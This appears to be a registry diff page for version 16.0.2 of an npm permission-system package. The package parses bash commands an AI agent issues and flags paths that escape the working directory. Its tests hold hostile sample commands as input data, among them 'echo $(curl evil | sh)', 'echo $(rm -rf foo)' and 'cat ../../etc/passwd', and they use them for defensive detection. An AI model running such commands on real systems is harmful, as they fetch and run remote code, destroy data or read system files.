@gotgenes/pi-permission-system 16.0.1 → 16.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +7 -0
- package/package.json +1 -1
- package/src/access-intent/bash/command-enumeration.ts +154 -0
- package/src/access-intent/bash/cwd-projection.ts +493 -0
- package/src/access-intent/bash/node-text.ts +75 -0
- package/src/access-intent/bash/parser.ts +42 -0
- package/src/access-intent/bash/program.ts +102 -0
- package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
- package/src/access-intent/bash/token-collection.ts +351 -0
- package/src/handlers/gates/bash-command.ts +1 -1
- package/src/handlers/gates/bash-external-directory.ts +3 -3
- package/src/handlers/gates/bash-path-extractor.ts +2 -2
- package/src/handlers/gates/bash-path.ts +2 -2
- package/src/handlers/gates/external-directory.ts +0 -2
- package/src/handlers/gates/path.ts +1 -3
- package/src/handlers/gates/skill-read.ts +0 -4
- package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
- package/src/handlers/gates/tool.ts +1 -1
- package/src/handlers/gates/types.ts +1 -1
- package/test/access-intent/bash/node-text.test.ts +147 -0
- package/test/access-intent/bash/parser.test.ts +19 -0
- package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +96 -73
- package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
- package/test/access-intent/bash/token-collection.test.ts +300 -0
- package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
- package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
- package/test/handlers/gates/bash-external-directory.test.ts +2 -10
- package/test/handlers/gates/bash-path.test.ts +2 -2
- package/test/handlers/gates/external-directory.test.ts +0 -5
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +5 -2
- package/src/handlers/gates/bash-program.ts +0 -1143
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import { BashProgram } from "#src/access-intent/bash/program";
|
|
1
2
|
import { getNonEmptyString, toRecord } from "#src/common";
|
|
2
3
|
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
|
3
4
|
import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
|
|
@@ -10,7 +11,6 @@ import {
|
|
|
10
11
|
import { resolveBashCommandCheck } from "./bash-command";
|
|
11
12
|
import { describeBashExternalDirectoryGate } from "./bash-external-directory";
|
|
12
13
|
import { describeBashPathGate } from "./bash-path";
|
|
13
|
-
import { BashProgram } from "./bash-program";
|
|
14
14
|
import type { GateResult } from "./descriptor";
|
|
15
15
|
import { describeExternalDirectoryGate } from "./external-directory";
|
|
16
16
|
import { describePathGate } from "./path";
|
|
@@ -66,7 +66,7 @@ export class ToolCallGatePipeline {
|
|
|
66
66
|
const command = getNonEmptyString(toRecord(tcc.input).command);
|
|
67
67
|
const bashProgram =
|
|
68
68
|
tcc.toolName === "bash" && command
|
|
69
|
-
? await BashProgram.parse(command)
|
|
69
|
+
? await BashProgram.parse(command, tcc.cwd)
|
|
70
70
|
: null;
|
|
71
71
|
|
|
72
72
|
const formatter = new ToolPreviewFormatter(
|
|
@@ -28,7 +28,7 @@ function deriveSuggestionValue(
|
|
|
28
28
|
if (tcc.toolName === "mcp") return check.target ?? "mcp";
|
|
29
29
|
const path = getPathBearingToolPath(tcc.toolName, tcc.input);
|
|
30
30
|
if (path === null) return "*";
|
|
31
|
-
return
|
|
31
|
+
return normalizePathForComparison(path, tcc.cwd);
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
/**
|
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import {
|
|
3
|
+
resolveNodeText,
|
|
4
|
+
SKIP_SUBTREE_TYPES,
|
|
5
|
+
} from "#src/access-intent/bash/node-text";
|
|
6
|
+
import type { TSNode } from "#src/access-intent/bash/parser";
|
|
7
|
+
|
|
8
|
+
// Minimal fake TSNode builder — only fills the fields resolveNodeText reads.
|
|
9
|
+
function makeNode(type: string, text: string, children: TSNode[] = []): TSNode {
|
|
10
|
+
return {
|
|
11
|
+
type,
|
|
12
|
+
text,
|
|
13
|
+
childCount: children.length,
|
|
14
|
+
isNamed: true,
|
|
15
|
+
child: (i) => children[i] ?? null,
|
|
16
|
+
};
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
describe("SKIP_SUBTREE_TYPES", () => {
|
|
20
|
+
it("contains the three node types that must not be descended", () => {
|
|
21
|
+
expect(SKIP_SUBTREE_TYPES.has("heredoc_body")).toBe(true);
|
|
22
|
+
expect(SKIP_SUBTREE_TYPES.has("heredoc_end")).toBe(true);
|
|
23
|
+
expect(SKIP_SUBTREE_TYPES.has("comment")).toBe(true);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it("does not contain common argument node types", () => {
|
|
27
|
+
expect(SKIP_SUBTREE_TYPES.has("word")).toBe(false);
|
|
28
|
+
expect(SKIP_SUBTREE_TYPES.has("string")).toBe(false);
|
|
29
|
+
expect(SKIP_SUBTREE_TYPES.has("raw_string")).toBe(false);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe("resolveNodeText", () => {
|
|
34
|
+
describe("word nodes", () => {
|
|
35
|
+
it("returns the node text unchanged", () => {
|
|
36
|
+
expect(resolveNodeText(makeNode("word", "hello"))).toBe("hello");
|
|
37
|
+
});
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
describe("raw_string nodes (single-quoted)", () => {
|
|
41
|
+
it("strips surrounding single quotes", () => {
|
|
42
|
+
expect(resolveNodeText(makeNode("raw_string", "'content'"))).toBe(
|
|
43
|
+
"content",
|
|
44
|
+
);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it("strips single quotes around a path", () => {
|
|
48
|
+
expect(resolveNodeText(makeNode("raw_string", "'/etc/hosts'"))).toBe(
|
|
49
|
+
"/etc/hosts",
|
|
50
|
+
);
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
it("returns text as-is when not fully single-quoted", () => {
|
|
54
|
+
// A raw_string node without enclosing quotes (defensive fallback)
|
|
55
|
+
expect(resolveNodeText(makeNode("raw_string", "noquotes"))).toBe(
|
|
56
|
+
"noquotes",
|
|
57
|
+
);
|
|
58
|
+
});
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
describe("string nodes (double-quoted)", () => {
|
|
62
|
+
it("concatenates inner word children, skipping quote delimiters", () => {
|
|
63
|
+
const quoteOpen = makeNode('"', '"');
|
|
64
|
+
const content = makeNode("string_content", "hello world");
|
|
65
|
+
const quoteClose = makeNode('"', '"');
|
|
66
|
+
const node = makeNode("string", '"hello world"', [
|
|
67
|
+
quoteOpen,
|
|
68
|
+
content,
|
|
69
|
+
quoteClose,
|
|
70
|
+
]);
|
|
71
|
+
expect(resolveNodeText(node)).toBe("hello world");
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it("concatenates multiple inner children", () => {
|
|
75
|
+
const quoteOpen = makeNode('"', '"');
|
|
76
|
+
const part1 = makeNode("string_content", "foo");
|
|
77
|
+
const part2 = makeNode("simple_expansion", "$BAR");
|
|
78
|
+
const quoteClose = makeNode('"', '"');
|
|
79
|
+
const node = makeNode("string", '"foo$BAR"', [
|
|
80
|
+
quoteOpen,
|
|
81
|
+
part1,
|
|
82
|
+
part2,
|
|
83
|
+
quoteClose,
|
|
84
|
+
]);
|
|
85
|
+
expect(resolveNodeText(node)).toBe("foo$BAR");
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
it("returns empty string for an empty double-quoted string", () => {
|
|
89
|
+
const quoteOpen = makeNode('"', '"');
|
|
90
|
+
const quoteClose = makeNode('"', '"');
|
|
91
|
+
const node = makeNode("string", '""', [quoteOpen, quoteClose]);
|
|
92
|
+
expect(resolveNodeText(node)).toBe("");
|
|
93
|
+
});
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
describe("string_content, simple_expansion, and expansion nodes", () => {
|
|
97
|
+
it("returns text as-is for string_content", () => {
|
|
98
|
+
expect(resolveNodeText(makeNode("string_content", "plain text"))).toBe(
|
|
99
|
+
"plain text",
|
|
100
|
+
);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
it("returns text as-is for simple_expansion (e.g. $HOME)", () => {
|
|
104
|
+
// retro 0350: $HOME returns the literal text of a simple_expansion node
|
|
105
|
+
expect(resolveNodeText(makeNode("simple_expansion", "$HOME"))).toBe(
|
|
106
|
+
"$HOME",
|
|
107
|
+
);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it("returns text as-is for expansion", () => {
|
|
111
|
+
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — testing that expansion node text is returned verbatim
|
|
112
|
+
expect(resolveNodeText(makeNode("expansion", "${VAR}"))).toBe("${VAR}");
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
describe("concatenation nodes", () => {
|
|
117
|
+
it("concatenates resolved children", () => {
|
|
118
|
+
const word = makeNode("word", "/etc/");
|
|
119
|
+
const expansion = makeNode("simple_expansion", "$FILE");
|
|
120
|
+
const node = makeNode("concatenation", "/etc/$FILE", [word, expansion]);
|
|
121
|
+
expect(resolveNodeText(node)).toBe("/etc/$FILE");
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it("handles nested concatenation-of-string", () => {
|
|
125
|
+
// A concatenation whose child is a double-quoted string
|
|
126
|
+
const quoteOpen = makeNode('"', '"');
|
|
127
|
+
const content = makeNode("string_content", "bar");
|
|
128
|
+
const quoteClose = makeNode('"', '"');
|
|
129
|
+
const inner = makeNode("string", '"bar"', [
|
|
130
|
+
quoteOpen,
|
|
131
|
+
content,
|
|
132
|
+
quoteClose,
|
|
133
|
+
]);
|
|
134
|
+
const prefix = makeNode("word", "foo");
|
|
135
|
+
const node = makeNode("concatenation", 'foo"bar"', [prefix, inner]);
|
|
136
|
+
expect(resolveNodeText(node)).toBe("foobar");
|
|
137
|
+
});
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
describe("default fallback", () => {
|
|
141
|
+
it("returns the raw text for unknown node types", () => {
|
|
142
|
+
expect(resolveNodeText(makeNode("unknown_type", "rawtext"))).toBe(
|
|
143
|
+
"rawtext",
|
|
144
|
+
);
|
|
145
|
+
});
|
|
146
|
+
});
|
|
147
|
+
});
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { getParser } from "#src/access-intent/bash/parser";
|
|
3
|
+
|
|
4
|
+
describe("getParser", () => {
|
|
5
|
+
it("parses a simple bash command and returns a non-null root node", async () => {
|
|
6
|
+
const parser = await getParser();
|
|
7
|
+
const tree = parser.parse("echo hi");
|
|
8
|
+
expect(tree).not.toBeNull();
|
|
9
|
+
expect(tree?.rootNode).toBeDefined();
|
|
10
|
+
expect(tree?.rootNode.type).toBe("program");
|
|
11
|
+
tree?.delete();
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it("returns the same memoized parser instance on repeated calls", async () => {
|
|
15
|
+
const first = await getParser();
|
|
16
|
+
const second = await getParser();
|
|
17
|
+
expect(first).toBe(second);
|
|
18
|
+
});
|
|
19
|
+
});
|
|
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
|
|
|
10
10
|
default: { realpathSync },
|
|
11
11
|
}));
|
|
12
12
|
|
|
13
|
-
import { BashProgram } from "#src/
|
|
13
|
+
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
14
|
|
|
15
15
|
describe("BashProgram", () => {
|
|
16
16
|
describe("pathRuleCandidates", () => {
|
|
17
17
|
const cwd = "/projects/my-app";
|
|
18
18
|
|
|
19
19
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
20
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
21
|
-
expect(program.pathRuleCandidates(
|
|
20
|
+
const program = await BashProgram.parse("cat src/foo.ts", cwd);
|
|
21
|
+
expect(program.pathRuleCandidates()).toEqual([
|
|
22
22
|
{
|
|
23
23
|
token: "src/foo.ts",
|
|
24
24
|
policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
|
|
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
|
|
|
26
26
|
]);
|
|
27
27
|
});
|
|
28
28
|
|
|
29
|
-
it("returns the literal token only when no cwd is provided", async () => {
|
|
30
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
31
|
-
expect(program.pathRuleCandidates()).toEqual([
|
|
32
|
-
{ token: "src/foo.ts", policyValues: ["src/foo.ts"] },
|
|
33
|
-
]);
|
|
34
|
-
});
|
|
35
|
-
|
|
36
29
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
37
|
-
const program = await BashProgram.parse(
|
|
30
|
+
const program = await BashProgram.parse(
|
|
31
|
+
"cd nested && cat src/file.txt",
|
|
32
|
+
cwd,
|
|
33
|
+
);
|
|
38
34
|
const fileCandidate = program
|
|
39
|
-
.pathRuleCandidates(
|
|
35
|
+
.pathRuleCandidates()
|
|
40
36
|
.find((candidate) => candidate.token === "src/file.txt");
|
|
41
37
|
expect(fileCandidate).toEqual({
|
|
42
38
|
token: "src/file.txt",
|
|
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
|
|
|
49
45
|
});
|
|
50
46
|
|
|
51
47
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
52
|
-
const program = await BashProgram.parse(
|
|
48
|
+
const program = await BashProgram.parse(
|
|
49
|
+
'cd "$DIR" && cat src/foo.ts',
|
|
50
|
+
cwd,
|
|
51
|
+
);
|
|
53
52
|
const fileCandidate = program
|
|
54
|
-
.pathRuleCandidates(
|
|
53
|
+
.pathRuleCandidates()
|
|
55
54
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
56
55
|
expect(fileCandidate).toEqual({
|
|
57
56
|
token: "src/foo.ts",
|
|
@@ -69,21 +68,24 @@ describe("BashProgram", () => {
|
|
|
69
68
|
});
|
|
70
69
|
|
|
71
70
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
72
|
-
const program = await BashProgram.parse("cat /etc/hosts");
|
|
71
|
+
const program = await BashProgram.parse("cat /etc/hosts", cwd);
|
|
73
72
|
// Subset matcher: the path is normalized before comparison.
|
|
74
|
-
expect(program.externalPaths(
|
|
73
|
+
expect(program.externalPaths()).toContain("/etc/hosts");
|
|
75
74
|
});
|
|
76
75
|
|
|
77
76
|
it("excludes paths within cwd", async () => {
|
|
78
|
-
const program = await BashProgram.parse("cat src/index.ts");
|
|
79
|
-
expect(program.externalPaths(
|
|
77
|
+
const program = await BashProgram.parse("cat src/index.ts", cwd);
|
|
78
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
80
79
|
});
|
|
81
80
|
|
|
82
81
|
describe("effective working directory projection", () => {
|
|
83
82
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
84
83
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
85
|
-
const program = await BashProgram.parse(
|
|
86
|
-
|
|
84
|
+
const program = await BashProgram.parse(
|
|
85
|
+
"cd a && cd b && cat ../c",
|
|
86
|
+
cwd,
|
|
87
|
+
);
|
|
88
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
87
89
|
});
|
|
88
90
|
|
|
89
91
|
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
@@ -91,66 +93,73 @@ describe("BashProgram", () => {
|
|
|
91
93
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
92
94
|
const program = await BashProgram.parse(
|
|
93
95
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
96
|
+
cwd,
|
|
94
97
|
);
|
|
95
|
-
expect(program.externalPaths(
|
|
98
|
+
expect(program.externalPaths()).toContain("/projects/etc/passwd");
|
|
96
99
|
});
|
|
97
100
|
|
|
98
101
|
it("folds a cd that is not the first command", async () => {
|
|
99
102
|
// The single-base model ignored a cd that was not first; now `cd a`
|
|
100
103
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
101
|
-
const program = await BashProgram.parse(
|
|
102
|
-
|
|
104
|
+
const program = await BashProgram.parse(
|
|
105
|
+
"mkdir d && cd a && cat ../b",
|
|
106
|
+
cwd,
|
|
107
|
+
);
|
|
108
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
103
109
|
});
|
|
104
110
|
|
|
105
111
|
it("does not fold a backgrounded cd", async () => {
|
|
106
112
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
107
113
|
// directory; ../b resolves against cwd and escapes.
|
|
108
|
-
const program = await BashProgram.parse("cd a & cat ../b");
|
|
109
|
-
expect(program.externalPaths(
|
|
114
|
+
const program = await BashProgram.parse("cd a & cat ../b", cwd);
|
|
115
|
+
expect(program.externalPaths()).toContain("/projects/b");
|
|
110
116
|
});
|
|
111
117
|
|
|
112
118
|
it("does not fold a cd inside a pipeline", async () => {
|
|
113
119
|
// Pipeline members run in subshells; the cd must not leak.
|
|
114
|
-
const program = await BashProgram.parse("cd nested | cat ../b");
|
|
115
|
-
expect(program.externalPaths(
|
|
120
|
+
const program = await BashProgram.parse("cd nested | cat ../b", cwd);
|
|
121
|
+
expect(program.externalPaths()).toContain("/projects/b");
|
|
116
122
|
});
|
|
117
123
|
|
|
118
124
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
119
125
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
120
|
-
const program = await BashProgram.parse("( cd sub && cat ../x )");
|
|
121
|
-
expect(program.externalPaths(
|
|
126
|
+
const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
|
|
127
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
122
128
|
});
|
|
123
129
|
|
|
124
130
|
it("does not leak a subshell cd to following commands", async () => {
|
|
125
131
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
126
|
-
const program = await BashProgram.parse("( cd sub ) && cat ../y");
|
|
127
|
-
expect(program.externalPaths(
|
|
132
|
+
const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
|
|
133
|
+
expect(program.externalPaths()).toContain("/projects/y");
|
|
128
134
|
});
|
|
129
135
|
|
|
130
136
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
131
137
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
132
|
-
const program = await BashProgram.parse("{ cd sub; cat ../x; }");
|
|
133
|
-
expect(program.externalPaths(
|
|
138
|
+
const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
|
|
139
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
134
140
|
});
|
|
135
141
|
|
|
136
142
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
137
|
-
const program = await BashProgram.parse("{ cd sub; } && cat ../x");
|
|
138
|
-
expect(program.externalPaths(
|
|
143
|
+
const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
|
|
144
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
139
145
|
});
|
|
140
146
|
|
|
141
147
|
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
142
148
|
// Interior cd folding inside substitutions is deferred: the interior
|
|
143
149
|
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
144
150
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
145
|
-
const program = await BashProgram.parse(
|
|
146
|
-
|
|
151
|
+
const program = await BashProgram.parse(
|
|
152
|
+
"echo $(cd q && cat ../r)",
|
|
153
|
+
cwd,
|
|
154
|
+
);
|
|
155
|
+
expect(program.externalPaths()).toContain("/projects/r");
|
|
147
156
|
});
|
|
148
157
|
|
|
149
158
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
150
159
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
151
160
|
// so it is flagged (least-privilege).
|
|
152
|
-
const program = await BashProgram.parse('cd "$DIR" && cat ../x');
|
|
153
|
-
expect(program.externalPaths(
|
|
161
|
+
const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
|
|
162
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
154
163
|
});
|
|
155
164
|
|
|
156
165
|
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
@@ -158,8 +167,9 @@ describe("BashProgram", () => {
|
|
|
158
167
|
// flagged because the effective dir is unknown.
|
|
159
168
|
const program = await BashProgram.parse(
|
|
160
169
|
'cd "$DIR" && cat src/../within.txt',
|
|
170
|
+
cwd,
|
|
161
171
|
);
|
|
162
|
-
expect(program.externalPaths(
|
|
172
|
+
expect(program.externalPaths()).toContain(
|
|
163
173
|
"/projects/my-app/within.txt",
|
|
164
174
|
);
|
|
165
175
|
});
|
|
@@ -169,13 +179,14 @@ describe("BashProgram", () => {
|
|
|
169
179
|
// even when the effective dir is unknown.
|
|
170
180
|
const program = await BashProgram.parse(
|
|
171
181
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
182
|
+
cwd,
|
|
172
183
|
);
|
|
173
|
-
expect(program.externalPaths(
|
|
184
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
174
185
|
});
|
|
175
186
|
|
|
176
187
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
177
|
-
const program = await BashProgram.parse("cd - && cat ../x");
|
|
178
|
-
expect(program.externalPaths(
|
|
188
|
+
const program = await BashProgram.parse("cd - && cat ../x", cwd);
|
|
189
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
179
190
|
});
|
|
180
191
|
|
|
181
192
|
it("recovers a known base when a later cd is absolute", async () => {
|
|
@@ -183,8 +194,9 @@ describe("BashProgram", () => {
|
|
|
183
194
|
// ../x resolves to cwd and is not flagged.
|
|
184
195
|
const program = await BashProgram.parse(
|
|
185
196
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
197
|
+
cwd,
|
|
186
198
|
);
|
|
187
|
-
expect(program.externalPaths(
|
|
199
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
188
200
|
});
|
|
189
201
|
|
|
190
202
|
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
@@ -195,8 +207,9 @@ describe("BashProgram", () => {
|
|
|
195
207
|
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
196
208
|
const program = await BashProgram.parse(
|
|
197
209
|
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
210
|
+
cwd,
|
|
198
211
|
);
|
|
199
|
-
expect(program.externalPaths(
|
|
212
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
200
213
|
});
|
|
201
214
|
|
|
202
215
|
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
@@ -205,8 +218,9 @@ describe("BashProgram", () => {
|
|
|
205
218
|
// cwd instead of escaping one level above.
|
|
206
219
|
const program = await BashProgram.parse(
|
|
207
220
|
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
221
|
+
cwd,
|
|
208
222
|
);
|
|
209
|
-
expect(program.externalPaths(
|
|
223
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
210
224
|
});
|
|
211
225
|
|
|
212
226
|
it("does not fold the terminal piped command of the first stage", async () => {
|
|
@@ -217,8 +231,9 @@ describe("BashProgram", () => {
|
|
|
217
231
|
// inside — a fail-open regression this test pins.
|
|
218
232
|
const program = await BashProgram.parse(
|
|
219
233
|
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
234
|
+
cwd,
|
|
220
235
|
);
|
|
221
|
-
expect(program.externalPaths(
|
|
236
|
+
expect(program.externalPaths()).toContain("/projects/x");
|
|
222
237
|
});
|
|
223
238
|
|
|
224
239
|
it("resolves a downstream pipe stage against the folded base", async () => {
|
|
@@ -227,8 +242,9 @@ describe("BashProgram", () => {
|
|
|
227
242
|
// pre-cd base.
|
|
228
243
|
const program = await BashProgram.parse(
|
|
229
244
|
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
245
|
+
cwd,
|
|
230
246
|
);
|
|
231
|
-
expect(program.externalPaths(
|
|
247
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
232
248
|
});
|
|
233
249
|
});
|
|
234
250
|
|
|
@@ -244,8 +260,9 @@ describe("BashProgram", () => {
|
|
|
244
260
|
});
|
|
245
261
|
const program = await BashProgram.parse(
|
|
246
262
|
"cat /projects/my-app/link/hosts",
|
|
263
|
+
cwd,
|
|
247
264
|
);
|
|
248
|
-
const external = program.externalPaths(
|
|
265
|
+
const external = program.externalPaths();
|
|
249
266
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
250
267
|
expect(external).not.toContain("/etc/hosts");
|
|
251
268
|
});
|
|
@@ -258,19 +275,24 @@ describe("BashProgram", () => {
|
|
|
258
275
|
if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
|
|
259
276
|
return p;
|
|
260
277
|
});
|
|
261
|
-
const program = await BashProgram.parse(
|
|
262
|
-
|
|
278
|
+
const program = await BashProgram.parse(
|
|
279
|
+
"cat /tmp/workspace/file.ts",
|
|
280
|
+
symlinkCwd,
|
|
281
|
+
);
|
|
282
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
263
283
|
});
|
|
264
284
|
});
|
|
265
285
|
|
|
266
286
|
describe("commands", () => {
|
|
287
|
+
const cwd = "/projects/my-app";
|
|
288
|
+
|
|
267
289
|
it("returns a single-element list for a lone command", async () => {
|
|
268
|
-
const program = await BashProgram.parse("npm install pkg");
|
|
290
|
+
const program = await BashProgram.parse("npm install pkg", cwd);
|
|
269
291
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
270
292
|
});
|
|
271
293
|
|
|
272
294
|
it("splits an && chain", async () => {
|
|
273
|
-
const program = await BashProgram.parse("cd /p && npm i x");
|
|
295
|
+
const program = await BashProgram.parse("cd /p && npm i x", cwd);
|
|
274
296
|
expect(program.commands()).toEqual([
|
|
275
297
|
{ text: "cd /p" },
|
|
276
298
|
{ text: "npm i x" },
|
|
@@ -278,22 +300,22 @@ describe("BashProgram", () => {
|
|
|
278
300
|
});
|
|
279
301
|
|
|
280
302
|
it("splits || , ; and & separators", async () => {
|
|
281
|
-
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
303
|
+
expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
|
|
282
304
|
{ text: "a" },
|
|
283
305
|
{ text: "b" },
|
|
284
306
|
]);
|
|
285
|
-
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
307
|
+
expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
|
|
286
308
|
{ text: "a" },
|
|
287
309
|
{ text: "b" },
|
|
288
310
|
]);
|
|
289
|
-
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
311
|
+
expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
|
|
290
312
|
{ text: "a" },
|
|
291
313
|
{ text: "b" },
|
|
292
314
|
]);
|
|
293
315
|
});
|
|
294
316
|
|
|
295
317
|
it("splits a pipeline into its commands", async () => {
|
|
296
|
-
const program = await BashProgram.parse("cat f | grep b");
|
|
318
|
+
const program = await BashProgram.parse("cat f | grep b", cwd);
|
|
297
319
|
expect(program.commands()).toEqual([
|
|
298
320
|
{ text: "cat f" },
|
|
299
321
|
{ text: "grep b" },
|
|
@@ -301,22 +323,22 @@ describe("BashProgram", () => {
|
|
|
301
323
|
});
|
|
302
324
|
|
|
303
325
|
it("splits newline-separated commands", async () => {
|
|
304
|
-
const program = await BashProgram.parse("foo\nbar");
|
|
326
|
+
const program = await BashProgram.parse("foo\nbar", cwd);
|
|
305
327
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
306
328
|
});
|
|
307
329
|
|
|
308
330
|
it("does not split operators inside quotes", async () => {
|
|
309
|
-
const program = await BashProgram.parse("echo 'x && y'");
|
|
331
|
+
const program = await BashProgram.parse("echo 'x && y'", cwd);
|
|
310
332
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
311
333
|
});
|
|
312
334
|
|
|
313
335
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
314
|
-
const program = await BashProgram.parse("npm install > out.txt");
|
|
336
|
+
const program = await BashProgram.parse("npm install > out.txt", cwd);
|
|
315
337
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
316
338
|
});
|
|
317
339
|
|
|
318
340
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
319
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
341
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
|
|
320
342
|
expect(program.commands()).toEqual([
|
|
321
343
|
{ text: "echo $(rm -rf foo)" },
|
|
322
344
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
@@ -324,7 +346,7 @@ describe("BashProgram", () => {
|
|
|
324
346
|
});
|
|
325
347
|
|
|
326
348
|
it("descends into backtick command substitution", async () => {
|
|
327
|
-
const program = await BashProgram.parse("echo `rm x`");
|
|
349
|
+
const program = await BashProgram.parse("echo `rm x`", cwd);
|
|
328
350
|
expect(program.commands()).toEqual([
|
|
329
351
|
{ text: "echo `rm x`" },
|
|
330
352
|
{ text: "rm x", context: "command_substitution" },
|
|
@@ -332,7 +354,7 @@ describe("BashProgram", () => {
|
|
|
332
354
|
});
|
|
333
355
|
|
|
334
356
|
it("descends into a pipeline inside command substitution", async () => {
|
|
335
|
-
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
357
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
|
|
336
358
|
expect(program.commands()).toEqual([
|
|
